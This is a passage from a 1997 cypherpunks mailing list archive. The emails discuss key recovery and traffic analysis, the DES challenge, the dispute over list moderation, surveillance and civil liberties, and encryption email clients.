on the coorespondents, the other that contains the information
about this particular session.

A problem with this, as I pointed out to the presenters, is
that the first packet can be trivially used for traffic analysis.
The eavesdropper may not be able to determine who is
cooresponding, but they can tell if it is the same people
as in a previous conversation.


>From <http://www.ibm.com/security/html/wp_keyrec2.html>
>In order to minimize the preparation overhead, the recovery information
>is prepared in two phases: one phase is independent of the particular
>session/archive key being prepared; the second phase is dependent on the
>particular key and session parameters. The first phase, which uses
>public-key encryption, can be shared across multiple invocations of key
>recovery preparation, thus reducing overhead. The public-key encryptions
>can be stored for repeated use.
>
As you can see, IBM suggests cacheing the contents of the
first packet, so that you don't have to recalculate it each
time. Imagine how easy traffic analysis would be if the
identification packets were identical instead of just related.



-- Marshall

Marshall Clow     Aladdin Systems   <mailto:mclow@mailhost2.csusm.edu>

Warning: Objects in calendar are closer than they appear.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Peter Trei <ptrei@ACM.ORG>
Date: Tue, 4 Feb 1997 07:12:42 -0800 (PST)
To: Steve Schear <cypherpunks@toad.com
Subject: Re: GAK/KR spin
Message-ID: <199702041512.HAA29212@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


> Date:          Mon, 3 Feb 1997 14:34:49 -0800
> From:          Steve Schear <azur@netcom.com>
> To:            cypherpunks@toad.com
> Subject:       GAK/KR spin

> Several months back there were discussions on the list regarding renaming
> the government's key escrow/recovery proposals (KRAP comes to mind).  I
> think we need something that's catchy and simple (perhaps already familiar)
> to understand for the semi-litterate citizen units.  I propose we encourage
> use of the terms "crippleware" or "crypto crippleware" when refering to the
> products limited to their weak crypto and/or key escrow/recovery.
> 
> --Steve

For some time, I have been using the term 'espionage-enabled 
software' to describe GAK'd products. Also, 'compromised 
software' - I want to make the point that 'key escrow/recovery' == 
insecure.'

Peter Trei
trei@process.com

PS: I have SW for working on the $10,000 DES challenge available.


 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Joel McNamara <joelm@eskimo.com>
Date: Tue, 4 Feb 1997 10:05:29 -0800 (PST)
To: cypherpunks@toad.com
Subject: DES keyspace
Message-ID: <199702041805.KAA02736@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Is anyone coordinating (formally or informally) which chunks of the
keyspace has been searched for the DES challenge?  Yes, I know all the
arguments about potential fraud and verification, but it would be nice to
have a Web site that informally listed what had been scanned so far
(verified or not).

Did I perhaps miss something and this is already out there?  URLs
appreciated if so.  If it doesn't exist, I'd be willing to host a site and
play coordinator...

Joel






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jason Vagner <jlv@sig.bsh.com>
Date: Tue, 4 Feb 1997 08:18:42 -0800 (PST)
To: cypherpunks@toad.com
Subject: RE: My Departure, Moderation, and "Ownership of the List"
Message-ID: <199702041618.IAA00787@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



   >(And if Sandy wants comity and good cheer, let him either form
   >his own list or establish a filtered list just the way Blossom
   >and Arachelian did. Hijacking the list to reform it in his own
   >image is dirty pool.) 

Just something from another perspective: I've been on the list for
quite a long time, though I've never posted. I've been online for
over ten years, ran my share of mailing lists, and understand
majordomo quite well.

As far as I can tell, nobody has ever advertised or posted
instructions for joining Blossom's or Arachelian's lists. At one
time I gave a little bit of an effort to find them, to no avail.
They don't seem readily available on the search engines (again, as
of about 6 months ago).

I never did flat out post a request for the information, as it was
not that important for *me* to find it. I imagine that these
individuals might have limited resources for a list-too-large, but
is there really a reason this is request-only info?

---

  Jason Vagner <jlv@sig.bsh.com> Resist KRAP and GAK. Police States 
  Are Bad. "All that one can give is what is going to happen, which may 
  have little to do with a present that you can grasp." - Avital Ronell.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Tue, 4 Feb 1997 11:42:47 -0800 (PST)
To: Peter Hendrickson <cypherpunks@toad.com
Subject: Re: Dissolving Choke Points
Message-ID: <199702041942.LAA04374@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:36 PM 2/3/97 -0800, Peter Hendrickson wrote:
>What I have seen is a pretty complete elimination of the signal that
>was there.  Some might argue that this is "just" because Tim stopped
>posting.  But so what?  The result of moderation was the elimination
>of signal.

Nonsense. The signal had left long before the moderation began. The
steepest drop in signal (not S/N ratio) was between shortly before Perry
left and Vulis had completed his takeover. Signal is cause by signal
generators. Most top signal generators, other than Tim, had left because of
pollution caused by the likes of Vulis, aga, and his homophonic boyfriends.

Moderation has nothing to do with the loss of signal other than that signal
from Tim was lost. And while I appreciated Tim's essays, they were never
the sole source of signal on the list. Tim did not even provide the
majority of signal. "Best individual contributor", sure.





-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Tue, 4 Feb 1997 08:26:36 -0800 (PST)
To: Steve Schear <azur@netcom.com>
Subject: Re: New X-Ray Imager
Message-ID: <199702041626.IAA00919@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



| A poll last week by the Los Angeles Times found that a majority of people --
| 58 percent -- said they would curtail some civil liberties if it would help
| thwart terrorism. Thirteen percent said it would depend on what rights were
| at stake. The poll didn't ask people to single out any rights.

	Its worth noting the 'if it would help thwart terrorism.'  The
'best,' most expensive anti-terrorism measures ever used in the US
were at the Summer Olympics.  The White House point man on encryption
admitted at last years CFP that Clipper and its derivatives would not
have prevented the Oklahoma city bombing.

	A question worth asking is do we want to apply evolutionary
pressure to terrorists?  I prefer hijacking to bombings wrt aircraft,
but the FAA disagrees.  I prefer having my car stolen without me in
it as well.  (I think John Gilmore asked that question, but I could be
wrong.)

Adam

-- 
Pet peeve of the day: Security companies whose protocols dare not
speak their name, because they don't have one. Guilty company of the
day is now V-One.








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jproc@bellglobal.com
Date: Tue, 4 Feb 1997 15:20:51 -0800 (PST)
To: Multiple recipients of list <boatanchors@theporch.com>
Subject: BA Crypto Machine Photos
Message-ID: <199702042320.PAA07586@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Dear BA'ers,

Recently, I acquired some BA crypto machine photos courtesy of the Canadian 
Security Establishment. If anyone wants full size, selected, JPEG copies of 
these photos, please let me know and I can send them as attached files to 
E-mail. As a reminder, there are two stories beginning with the same file 
name in the BA archives which accompany the photos.

KL7.JPG     Colour 108 kbytes
KWR37.JPG   B & W   51 kbytes   

BTW, does anyone know the meaning of 'order wire mode' in the context of a 
crypto broadcast? This mode is found in the KWR-37 online crypto 
receiver. Please send all photo requests or responses via private E-mail.

Regards,
-------------------------------------
Jerry Proc VE3FAB
E-mail: jproc@bellglobal.com
HMCS Haida Naval Museum
Toronto, Ontario
'Looking for a 'AN/SRC-501' 
-------------------------------------







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Tue, 4 Feb 1997 11:41:07 -0800 (PST)
To: Adam Shostack <adam@homeport.org>
Subject: Re: New X-Ray Imager
Message-ID: <199702041941.LAA04345@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:38 AM 2/4/97 -0500, Adam Shostack wrote:
>
>| A poll last week by the Los Angeles Times found that a majority of
people --
>| 58 percent -- said they would curtail some civil liberties if it would help
>| thwart terrorism. Thirteen percent said it would depend on what rights were
>| at stake. The poll didn't ask people to single out any rights.
>
>	Its worth noting the 'if it would help thwart terrorism.' 

It is irrelevant if terrorism is indeed be thwarted. The public does not
require this to happen. All that matters is to generate the *perception* of
increased security, not to increase security itself.



-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Butler, Scott <SButler@chemson.com>
Date: Tue, 4 Feb 1997 06:40:53 -0800 (PST)
To: "'IMCEAX400-c=GB+3Ba=+20+3Bp=CHEMSON+3Bo=CSH+3Bdda+3ASMTP=CYPHERPUNKS+40TOAD+2ECOM+3B@chemson.com>
Subject: FW: concerning Ben Franklin
Message-ID: <199702041440.GAA28320@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Kent Crispin wrote:

>Franklin said "A man owns an ass; he can vote.  The 
>ass dies; he cannot vote.  Who owns the vote?" 

Poor Timmy May must not be able to vote then, as surely his ass must
have been "bashed" to death by now.


Scott.
 
REMEMBER:
	"Dreams are just Screen Savers for the brain"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rick Osborne <osborne@gateway.grumman.com>
Date: Tue, 4 Feb 1997 10:07:14 -0800 (PST)
To: cypherpunks mailing list <cypherpunks@toad.com>
Subject: AltaVista Tunnel
Message-ID: <199702041807.KAA02790@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


The Digital / Microsoft "Driving Force" tour is in our parking lot today
and I got the opportunity to have a look around.  One of the 'stations'
inside the truck is on intranets.  They were showing off a product called
"AltaVista Tunnel" which I assume is their PPTP product.  I say "I assume"
because the guy showing it off had absolutely no clue what he was talking
about.  He triumphantly exclaimed that the encryption was 128-bit, but when
I said "128-bit what?" he cowered and muttered that he didn't know and went
on with his little speech.  The rest of my crypto-specific questions met
with equal dark stares.  And these are the people setting industry standards...
_________ o s b o r n e @ g a t e w a y . g r u m m a n . c o m _________
Real programmers programs never work right the first time. But if you
throw them on the machine they can be patched into working in only a few
30-hours debugging sessions.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Scottauge@aol.com
Date: Tue, 4 Feb 1997 10:12:29 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Embarrass a Marylander, go to jail
Message-ID: <199702041812.KAA02898@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Think they are trying to expand the harrassment laws to directly effect the E
world, but I would think the laws on harrassment would apply anyhow (provided
your in their domain, but then again thats true for all governments...)

---
How has the government interfered in your life today?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Tue, 4 Feb 1997 11:41:08 -0800 (PST)
To: Lucky Green <shamrock@netcom.com>
Subject: Re: New X-Ray Imager
Message-ID: <199702041941.LAA04346@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Lucky Green wrote:
> At 10:38 AM 2/4/97 -0500, Adam Shostack wrote:
> >| A poll last week by the Los Angeles Times found that a majority of
> people --
> >| 58 percent -- said they would curtail some civil liberties if it would help
> >| thwart terrorism. Thirteen percent said it would depend on what rights were
> >| at stake. The poll didn't ask people to single out any rights.
> >
> >	Its worth noting the 'if it would help thwart terrorism.' 
> 
> It is irrelevant if terrorism is indeed be thwarted. The public does not
> require this to happen. All that matters is to generate the *perception* of
> increased security, not to increase security itself.

Let's remember though that perception of security applies not
only to passengers, but also to potential terrorists. If they *think*
that they would not be able to bring a bomb easily, they would be less
inclined to do so.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeff Barber <jeffb@issl.atl.hp.com>
Date: Tue, 4 Feb 1997 11:42:06 -0800 (PST)
To: Cypherpunks List <cypherpunks@toad.com>
Subject: Re: Moderation, Tim, Sandy, me, etc. * Strong crypto == DES?!
Message-ID: <199702041942.LAA04370@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


I'm another long time list member.  I've posted before on a number of
occasions but not often.  And I was one of those who subscribed immediately
to the unedited list.  Anyway, herein my 2 cents.


John Gilmore writes:

> Tim May said:
> > I don't want Sandy Sandfort sitting in judgment on my
> > posts, deciding what the Cypherpunks--a group I co-founded for God's
> > sake!!!!--are to be allowed to read and what they may not.
> 
> Tim, the Cypherpunks have chosen to follow Sandy's lead for this
> month.  I'll admit I made it easy for them, but the results are
> conclusive.  There are 1311 addresses in the cypherpunks list today;
> 42 in the unedited list; and 19 in the flames list.

"Conclusively" this has shown only that most folks are willing to go
along with an experiment -- especially if it requires them to do 
exactly nothing.  The results of the moderation experiment itself
can't possibly be conclusive until the moderation has gone on for
much longer--a few months at least, possibly years.  Then, we'll see
how many people are willing to put up with the high volume over the
long term, even possibly in the absence of thoughtful essays from
long-time list members (like Tim) who have been driven away from the
list.

Even if it "survives" by that criteria, it may not survive in *my*
book.  There are only a handful of people whose posts make the
cypherpunks list worthwhile (IMO of course).  There're quite a few
others who contribute to the discussion but aren't themselves worth
the trouble (no offense intended to anyone; I would certainly count
myself in this group as well).

I don't deny that putting up with the noise on the list takes some
effort.  In fact, after years of surviving with only my 'd' key, I'd
finally been driven to install a procmail filter shortly before
moderation was announced.

Interestingly, since that point, it *has* become more difficult to
filter--but IMO that's because it's also gotten less interesting
(how do you know if you're filtering is successful?).  In fact,
lately I've begun to "filter" *all* of cypherpunks into an alternate
mailbox file, and find that I'm perfectly content to look at it only
every couple of days, and just pick and choose among the posts based
on author and subject.  I don't claim to be representative of the
average cypherpunk, but in my view, this is a bad sign--it indicates
a lack of compelling "content".  It might as well be a Usenet group--I
don't feel like a "member of the Cypherpunks list" anymore.  As the
list stands now, I would hardly even notice (or care) if I were no
longer subscribed.


> I'm definitely bugged by the community's attitude toward my
> "censorship".  Rather than being glad that someone, anyone, was doing
> something about the major problem on the list, 99% of the reaction was
> to create even more ill-considered, emotional flamage.  *I* didn't
> make the signal/noise get worse at that point -- *you-all* did.

Well, I did do something.  When the volume got too high for me to take
unassisted, I installed procmail to tailor the list to my own likings.
Many have been advocating it on the list for years.  I was just too 
lazy to do so until the pain of not having it finally got too high.

As for the signal to noise ratio, John hasn't made it worse, but he
hasn't made it much better either.  No offense is intended--John's 
posts were always at the top of my reputation list--but he posts so
infrequently that he falls into that "not worth subscribing for" group.


What was the problem with the list that finally required that somebody
"do something"?  Sure, the list was high volume.  And there were a
lot of flames and silly useless garbage.  But this is no different
than it has been for years.  And the Vulisgrams were no more (or less)
vicious or annoying than Detweiler's Medusa and S.Boxx rants from the
old days.

(The reason I personally could stand it [without procmail] back then
was that I wasn't on so many *other* mailing lists at the same time.)


> The experiment will be over in a few weeks.  Who's going to take over
> deciding how to run the list, and running it?

Can't we just forget any of this ever came up?  Drop the moderation, 
resubscribe the Vulis 'bot and go on as before.


> PS: Can we talk about crypto too? ...

Sorry, that would be off-topic; this list is only for discussions of
the cypherpunks moderation policy.  Maybe you could post something on
Perry's "cryptography" list though.  (:-)


-- Jeff





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vangelis <vangelis@qnis.net>
Date: Wed, 5 Feb 1997 09:23:33 -0800 (PST)
To: sherod@medeserv.com.au
Subject: Re: Full strength Email Clients.
Message-ID: <199702051723.JAA01391@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Steven Herod wrote:
> 
> Hello, I'm in search of an  *EASY TO USE* Internet Email client
> software that uses full strength (outside US export restriction) RSA 
> encryption.

Private Idaho (for Windoze), without question.  It's freeware, and acts
as an almost seamless front-end to PGP.  I use it all the time w/ my
crpto-aware friends.

http://www.eskimo.com/~joelm/pi.html

-- 
Vangelis <vangelis@qnis.net> /\oo/\
Finger for public key. PGP KeyID 1024/A558B025
PGP Fingerprint AE E0 BE 68 EE 7B CF 04  02 97 02 86 F0 C7 69 25
Life is my religion, the world is my altar.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Hayes <dave@kachina.jetcafe.org>
Date: Tue, 4 Feb 1997 15:20:58 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: My Departure, Moderation, and "Ownership of the List"
Message-ID: <199702042320.PAA07601@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Steve Boursey writes:
>   Well EFF itself is a lie--the were very well exposed by Wired Mag. a
> while back as being nothing more than a corporate whore.  They represent
> the interests of owners not consumers--the ACLU has been very open
> in their critisism of the EFF in this regard.  A large corporation
> waves some money in front of their noses and tells them to bend
> over you can be sure they'll bend over.  

It's not clear from where I sit that the EFF is intrinsically evil.  A
case can be argued for their initial good intentions followed by the
subsequent poisoning of this intent by people with lots of money. Of
course, -any- organization is as susceptable to infiltration as their
weakest member.

> Respectable free speech advocates do not associate with EFF.

If one is going to advocate free speech, I strongly suggest one
learns to deal with one's own greed and one's own need for power
first. 
------
Dave Hayes - Altadena CA, USA - dave@jetcafe.org 
Freedom Knight of Usenet - http://www.jetcafe.org/~dave/usenet

           You possess only what will not be lost in a shipwreck.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Phil Karn <karn@qualcomm.com>
Date: Wed, 5 Feb 1997 09:01:36 -0800 (PST)
To: kooltek@iol.ie
Subject: Re: Ireland: Bid To Ban "Tamper Proof" Phones
Message-ID: <199702051701.JAA00978@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Thanks for the info about the origins of the European GAK
initiative. It would still be interesting to know how much of a hand
the US has had (and continues to have) in influencing the crypto
policies of other countries.

Thanks also for the correction regarding divorce in Ireland.  My
sincere apologies if I offended anybody over there with my "socially
backward" comment.  Ireland is by no means unique even among western
nations in having certain restrictive laws and practices regarding
private social behavior. In general the US is not much better, and
parts (especially the southeast) are probably worse.

It is interesting that you would mention political terrorism and drug
smuggling as prime factors pushing towards GAK in Ireland. The forces
at work in the US government push towards GAK are quite similar.  I am
fond of saying that "national security" and "drugs" have become the
root passwords to the US Constitution...

Question: have there been any problems with the use of strong
encryption (PGP, SSH, etc) on the Internet in Ireland? Is it widely
used over there?

Phil





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Tue, 4 Feb 1997 14:01:34 -0800 (PST)
To: gnu@toad.com
Subject: Re: Moderation, Tim, Sandy, me, etc. * Strong crypto == DES?!
Message-ID: <199702042201.OAA06395@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	IN%"gnu@toad.com"  "John Gilmore"  4-FEB-1997 12:20:22.10

>Tim, the Cypherpunks have chosen to follow Sandy's lead for this
>month.  I'll admit I made it easy for them, but the results are
>conclusive.  There are 1311 addresses in the cypherpunks list today;
>42 in the unedited list; and 19 in the flames list.  Forty people
>cared enough to read every posting; the other thousand either wanted
>to try the experiment -- or didn't care enough to send an email
>message.  Which, as we all know, is a very low threshold.

	You're making an invalid assumption... namely that people who
stayed on the moderated list are neccessarily wanting it to be the
main list. This isn't the case with me, for instance. I'd also point
out that some of us - including me - were taking the time to take a
look at what happened with the moderated list. On the one hand, it
did result in a decrease in the trash messages... on the other hand,
it also drove away 1+ good posters (TCMay for one).
	As I've said before, I might wind up going with Sandy's (or
some other) filtered list. But changing the name (effectively, to
cypherpunks-unedited) was a bad idea.

>I'm definitely bugged by the community's attitude toward my
>"censorship".  Rather than being glad that someone, anyone, was doing
>something about the major problem on the list, 99% of the reaction was
>to create even more ill-considered, emotional flamage.  *I* didn't
>make the signal/noise get worse at that point -- *you-all* did.

	I can see how you might ignore objections from those who
did make the signal/noise get worse... but from those who didn't?
_I_ tried to help you by letting you & Sandy know when something
was going wrong.

>Perhaps at that point I should have shut down the list, as Lucky is
>now suggesting.  "Asking the list what to do" was clearly not a useful
>option.  Sandy cared enough about the community to make some concrete
>suggestions to me about how to get the list back on track.  They
>involved a lot more work than the previous setup.  I told him if he
>was willing to do the work, we could try it.  As Dale suggests, I
>wasn't about to waste my time reading the whole list in real time and
>passing judgement on the postings.  Sandy was, for a month.

	I (and others, I believe) are gratified by y'all's attempts
to help. I just think that you went about it the wrong way.

>Start a mailing list on another site!  Move this list to somewhere!

[...]

>The experiment will be over in a few weeks.  Who's going to take over
>deciding how to run the list, and running it?

	Would you be willing to help in starting up a distributed
list? That would appear to solve at least some of the toad.com problems
(keeping it running 24 hours a day, 7 days a week) with which I am
sympathetic.

>If you want to help organize what I'll call the `progressive crypto
>community', for lack of a better term, then please do.  Otherwise, in
>the immortal words of Lazarus Long, "PIPE DOWN!".

	I'm willing to help the _libertarian_ crypto community, to the
limit allowed by my available resources (I'm a grad student). Organize?
I'm not so sure to what degree that's helping. Progressive? I'm not a
liberal. Slight but meaningful difference in terms.

>PS: Can we talk about crypto too?  It's clear from the last few days
>of press releases that the pro-GAK forces are again working to confuse
>novices into thinking that two very different things are the same
>thing.  Last time it was "public key infrastructure" and "key
>recovery".  This time it's "strong crypto" and "56-bit DES".  What
>should we do about this?  Educate the public?

	The public won't listen until 56-bit DES is broken; then,
they can be told that "somebody broke the cryptography used by
banks" and they might listen. In other words, what can be done
is supporting DES-breaking efforts (ideally, via the collection
of different possible keys and their indicators, as someone
had mentioned earlier - sorry, I'm a biologist, not a mathematician,
so I've forgotten the actual terms. It was something that would
essentially enable the near-instant breaking of _any_ DES code after
the competion of the project. My apologies if I've gotten mixed up
on this).
	-Allen





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Scott V. McGuire" <svmcguir@syr.edu>
Date: Tue, 4 Feb 1997 13:59:19 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: My Departure, Moderation, and "Ownership of the List"
Message-ID: <199702042159.NAA06302@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Tue, 4 Feb 1997, Dale Thorn wrote:

> Scott V. McGuire wrote:
> 
> > (Even within the community, some people are more a part of
> > it than others, and nobody is more a part of it then Tim.)
> 
> Is this like saying "some of the pigs were more equal than the others"?
> 

No, in this case there is not even a pretense of equality.

- --------------------
Scott V. McGuire <svmcguir@syr.edu>
PGP key available at http://web.syr.edu/~svmcguir
Key fingerprint = 86 B1 10 3F 4E 48 75 0E  96 9B 1E 52 8B B1 26 05



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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: DAVE HODGINS <dave.hodgins@westonia.com>
Date: Tue, 4 Feb 1997 13:59:24 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: MY DEPARTURE, MODERA
Message-ID: <199702042159.NAA06315@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

AB> My main complaints about the `filtering' service forced upon the list
AB> readership are that:
AB> 1. It was done to the main list!  If cypherpunks were left unchanged,
AB> and a `cypherpunks-edited' were created I wouldn't have a problem, it
AB> would be just another filtered list.  However there are already

  As a lurker (I've only sent 4 messages to the list in the last 3 years),
I agree completely with Adam Back's post.

  I'd also like to point out, that I rarely read all of the messages, and
tend to select which messages to read, based on the subject.  Because of
this, I missed the message announcing that the moderation had started, 
and that there was a new, unedited list.  I didn't realize the moderation
had started, until I noticed the lack of autobot insults, and then looked
at some of the messages from the moderation thread.

  I get the list via email, through a pcboard bbs, mixed in with all of
my personal email.  I wrote a program, to separate everything from the
list into separate folder.  Switching over to the unedited list, will
require a bit more for me, then just unsubscribe/subscribe.

  I'll wait and see if the moderation continues on the main list.  If it
does, I'll go through the bother of switching to the unedited list.

  Regards, Dave Hodgins.

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---
 ~ RM 1.31 0820 ~ Internet:Dave.Hodgins@Westonia.com Rime->1347 Fido 1:250/636





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aaron@herringn.com
Date: Tue, 4 Feb 1997 16:27:54 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Moderation, Tim, Sandy, me, etc. * Strong crypto == DES?!
Message-ID: <199702050027.QAA08784@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


>I'm glad we're talking about some of the real issues here.
>
>Tim May said:
>> I don't want Sandy Sandfort sitting in judgment on my
>> posts, deciding what the Cypherpunks--a group I co-founded for God's
>> sake!!!!--are to be allowed to read and what they may not.
>
>Tim, the Cypherpunks have chosen to follow Sandy's lead for this
>month.  I'll admit I made it easy for them, but the results are
>conclusive.  There are 1311 addresses in the cypherpunks list today;
>42 in the unedited list; and 19 in the flames list.  Forty people
>cared enough to read every posting; the other thousand either wanted
>to try the experiment -- or didn't care enough to send an email
>message.  Which, as we all know, is a very low threshold.

[huge snip]

If I might make a suggestion:

Some people want moderation. That's fine, I've never been very big on
letting other people choose what I read, but some people want it.

For those who want it, let someone moderate the list for as long as
they care to do it. Approved messages get a "X-sandy-approved"
header. The responsibility for setting up a filter to toss everything
that doesn't have the header is the responsibility of the end user.
Toad will need to filter incoming posts to make sure they don't come
"pre-approved", but that's the only hole I can think of.

Everyone gets all of the Cypherpunks list. Those who want moderation
filter the unapproved posts, those who want all of it get all of it.

Hopefully, this will make (almost) everyone happy.









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Tue, 4 Feb 1997 15:20:47 -0800 (PST)
To: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Subject: Re: Dissolving Choke Points
Message-ID: <199702042320.PAA07578@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


E. Allen Smith wrote:
> 
> 	Hmm... since both you and Bill Stewart are pointing out various
> advantageous things about Usenet, I may need to retract my previous statement
> that mail fitering is better.

You were right initially, I agree that mail filtering has better tools
than news filtering (if you use Unix).

Procmail can do absolutely any filtering, unlike most news readers.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 4 Feb 1997 23:27:09 -0800 (PST)
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: Moderation [Tim,Sandy]
Message-ID: <199702050727.XAA18130@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Declan McCullagh wrote:
> Adam writes:
> >The problem with censorship or moderation is that it waters down the
> >absolutism of free speech.  Free speech in electronic media, with
> >cypherpunks type I, and type II remailers, is the closest thing to
> >truly free speech yet.

> I agree and disagree. Moderation often *increases* the value of speech. The
> Wall Street Journal, or Time Magazine, or the JAMA have strict policies
> regarding what information they print; these policies increase the
> publication's value. Moderation is not necessarily censorship. Would you
> criticize the National Coalition Against Censorship for not including in
> their newsletter (to which I subscribe) off-topic rants by Jesse Helms?

JAMA is an example of moderated (good) speech?  Not from where I sit.
Look at the "interview" they published in the spring of 1992 with the
Kennedy autopsy doctors.  Then read about how they twisted the whole
thing (and really didn't interview the doctors) a la 60 minutes.

> What Vulis and the rest (whom I killfiled long ago) have done is polluted a
> common resource, making it unusable for the rest. It's the tragedy of the
> commons. When all can speak without limit in a public forum, the drunken
> boor can shout everyone else down.

The drunk can be excluded, but when someone wants to use the drunk as
an example to escalate the exclusion to other persons who are not in
fact drunk, watch out!







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 4 Feb 1997 23:30:01 -0800 (PST)
To: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Subject: Re: Moderation, Tim, Sandy, me, etc. * Strong crypto == DES?!
Message-ID: <199702050730.XAA18236@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


E. Allen Smith wrote:
> From:   IN%"gnu@toad.com"  "John Gilmore"  4-FEB-1997 12:20:22.10

> >Tim, the Cypherpunks have chosen to follow Sandy's lead for this
> >month.  I'll admit I made it easy for them, but the results are
> >conclusive.  There are 1311 addresses in the cypherpunks list today;
> >42 in the unedited list; and 19 in the flames list.  Forty people
> >cared enough to read every posting; the other thousand either wanted
> >to try the experiment -- or didn't care enough to send an email
> >message.  Which, as we all know, is a very low threshold.

>         You're making an invalid assumption... namely that people who
> stayed on the moderated list are neccessarily wanting it to be the
> main list. This isn't the case with me, for instance. I'd also point
> out that some of us - including me - were taking the time to take a
> look at what happened with the moderated list. On the one hand, it
> did result in a decrease in the trash messages... on the other hand,
> it also drove away 1+ good posters (TCMay for one).

What's really ironic here is that given three people who have knowledge
of crypto/politics and something to say, the lesser two drove the best
one away.  Boo, hiss.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Tue, 4 Feb 1997 15:25:53 -0800 (PST)
To: ichudov@algebra.com
Subject: Re: New X-Ray Imager
Message-ID: <199702042325.PAA07697@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <199702041941.LAA04346@toad.com>, on 02/04/97 at 01:19 PM,
   ichudov@algebra.com said:


>Lucky Green wrote:
>> At 10:38 AM 2/4/97 -0500, Adam Shostack wrote:
>> >| A poll last week by the Los Angeles Times found that a majority of
>> people --
>> >| 58 percent -- said they would curtail some civil liberties if it would help
>> >| thwart terrorism. Thirteen percent said it would depend on what rights were
>> >| at stake. The poll didn't ask people to single out any rights.
>> >
>> >	Its worth noting the 'if it would help thwart terrorism.' 
>> 
>> It is irrelevant if terrorism is indeed be thwarted. The public does not
>> require this to happen. All that matters is to generate the *perception* of
>> increased security, not to increase security itself.

>Let's remember though that perception of security applies not only to
>passengers, but also to potential terrorists. If they *think* that they
>would not be able to bring a bomb easily, they would be less inclined to
>do so.

Not really,

The thin vail of "security" that the goverment provides may be good enough
to give warm-fuzzies to the avarage sheep, ...er citizen, but the potential
terrorists will see it for what it is.



- --
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: OS/2...Opens up Windows, shuts up Gates.

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Registered User E-Secure v1.1 0000000

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Tue, 4 Feb 1997 15:21:01 -0800 (PST)
To: gbroiles@netbox.com
